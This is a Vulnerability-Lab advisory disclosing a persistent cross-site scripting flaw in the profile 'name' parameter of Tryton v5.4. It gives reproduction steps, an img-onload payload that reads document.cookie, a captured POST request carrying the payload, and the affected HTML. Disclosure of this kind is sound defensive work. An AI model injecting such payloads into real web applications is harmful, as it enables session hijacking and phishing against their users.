Tryton v5.4 - (Name) Persistent Cross Site Vulnerability

Document Title:
===============
Tryton v5.4 - (Name) Persistent Cross Site Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2233

ID: https://discuss.tryton.org/t/security-release-for-issue9351/2772


Release Date:
=============
2020-05-11


Vulnerability Laboratory ID (VL-ID):
====================================
2233


Common Vulnerability Scoring System:
====================================
4.6


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Tryton is business software, ideal for companies of any size, easy to use, complete and 100% Open Source. Tryton has 
a Three-tier architecture. It is composed of an application server which connects to a PostgreSQL database, a web or 
desktop client for the presentation and a set of server modules for the business logic. A docker container that comes 
pre-installed with the server, modules and web client. This is a very simple way of locally installing and exploring 
the application. It is also production ready for easy deployment. These images are updated every week.We also publish 
an optional add-on that can be used to manage timesheets from inside your browser. All the packages are also published 
on the Python Package Index. Available for os - arch linux, debian, fedora, gentoo, openbsd, ubuntu & netbsd.

(Copy of the Homepage: https://www.tryton.org/  &  https://www.tryton.org/download )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent cross site web vulnerability in the Tryton v5.4.


Affected Product(s):
====================
Tryton Foundation
Product: Tryton v5.4 - CMS (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2020-05-12: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (Guest Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the official Tryton v5.4 web-application series.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise 
browser to web-application requests from the application-side.

The persistent vulnerability is located in the `name` parameter of the `User Profile` module. Remote attackers with low 
privileges are able to inject own malicious persistent script code as name for user accounts. The injected code can be 
used to attack the frontend or backend of the web-application. The request method to inject is POST and the attack vector 
is located on the application-side. Injection point is the profile input field with the name value and the execute occurs 
in the front ui on top right were the avatar is listed or in the admin backend on the res.user;name="Users"&views.

Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent 
external redirects to malicious source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] User Profile

Vulnerable Input(s):
[+] Name

Vulnerable Parameter(s):
[+] name

Affected Module(s):
[+] /index
[+] /model/res.user;name="Users"&views (backend)


Proof of Concept (PoC):
=======================
The persistent web vulnerability can be exploited by low privileged web application user account with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Open the application and login to your low privileged user account
2. Move to the profile on top right side (click)
3. Inject test payload to the "Name" input field and save the entry
4. Execution occurs after save on top right and /model/res.user;name="Users"&views of the admin backend
5. Successful reproduce of the persistent cross site vulnerability!


PoC: Payload
%20>"><img%20src="evil.source%20onload=alert(document.cookie)>


PoC: Vulnerable Source (Execution Point)
<div class="input-group input-group-sm"><span class="input-group-btn"><button type="button" class="btn btn-default">Filters</button></span>
<input class="form-control mousetrap" placeholder="Search" autocomplete="off" list="ui-id-3"><datalist id="ui-id-3"></datalist>
<span class="input-group-btn"><button type="button" class="btn btn-default hidden-md hidden-lg" aria-label="Clear Search" 
title="Clear Search" style="display: none;"><img class="icon" src="blob:https://tryton.localhost:8080/4672612e-3ec6-4bd1-aa4d-bd379bd89c04"></button>
<button type="submit" class="btn btn-default" aria-label="Search" title="Search"><img class="icon" 
src="blob:https://tryton.localhost:8080/ab0d098c-1302-4ffa-8f27-3204fb244082"></button><button class="btn btn-default hidden-xs" 
type="button" title="Bookmark this filter" aria-label="Bookmark this filter"><img class="icon" aria-hidden="true" 
src="blob:https://tryton.localhost:8080/d97b8af2-ca4b-48e2-a40e-a772955d7ea8"></button><button type="button" class="btn btn-default 
dropdown-toggle" data-toggle="dropdown" aria-expanded="false" aria-label="Bookmarks" title="Bookmarks" id="bookmarks" disabled="">
<img aria-hidden="true" class="icon" src="blob:https://tryton.localhost:8080/c9b2efdd-1ec8-4785-b7a0-d3b8dcb6d7e9"></button>
<ul class="dropdown-menu dropdown-menu-right" role="menu" aria-labelledby="bookmarks"></ul><button type="button" 
class="btn btn-default hidden-xs" aria-expanded="false" aria-label="Show inactive records" title="Show inactive records">
<img aria-hidden="true" class="icon" src="blob:https://tryton.localhost:8080/6ad6ad9c-4d17-4592-9e3c-6f698b6f9a27"></button></span></div>


--- PoC Session Logs [POST] ---
https://tryton.localhost:8080/tryton/
Host: tryton.localhost:8080
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Authorization: Session ZGVtbzoyOjMyYmIyOWE3ODYxMzA3NGVkZThlMDBhNmEyMWVkNzFhZTAxOGQwMzA1YTJhMGU1NTNjOWU2YTNhZWM5MzA1MzM=
X-Requested-With: XMLHttpRequest
Content-Length: 527
Origin: https://tryton.localhost:8080
Connection: keep-alive
Referer: https://tryton.localhost:8080/
{"id":195,"method":"model.res.user.set_preferences","params":[{"name":"%20>"><img%20src="evil.source%20onload=alert(document.cookie)>">",
"signature":"test signature"},{"client":"1aab6de2-1f59-43de-b0d0-a8319558e4e8","warehouse":null,"employee":null,"company":1,
"company.rec_name":"Michael Scott Paper Company","language":"en","language_direction":"ltr","groups":[5,15,16,13,19,20,17,9,10],
"locale":{"date":"%m/%d/%Y","grouping":[3,3,0],"decimal_point":".","thousands_sep":","},"company_work_time":
{"h":3600,"m":60,"s":1,"Y":6912000,"M":576000,"w":144000,"d":28800}}]}
-
POST: HTTP/2.0 200 OK
server: nginx/1.16.1
content-type: application/json
access-control-allow-origin: https://tryton.localhost:8080
vary: Origin
content-encoding: gzip


Security Risk:
==============
The security risk of the persistent cross site scripting vulnerability in the web-application is estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


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=========================
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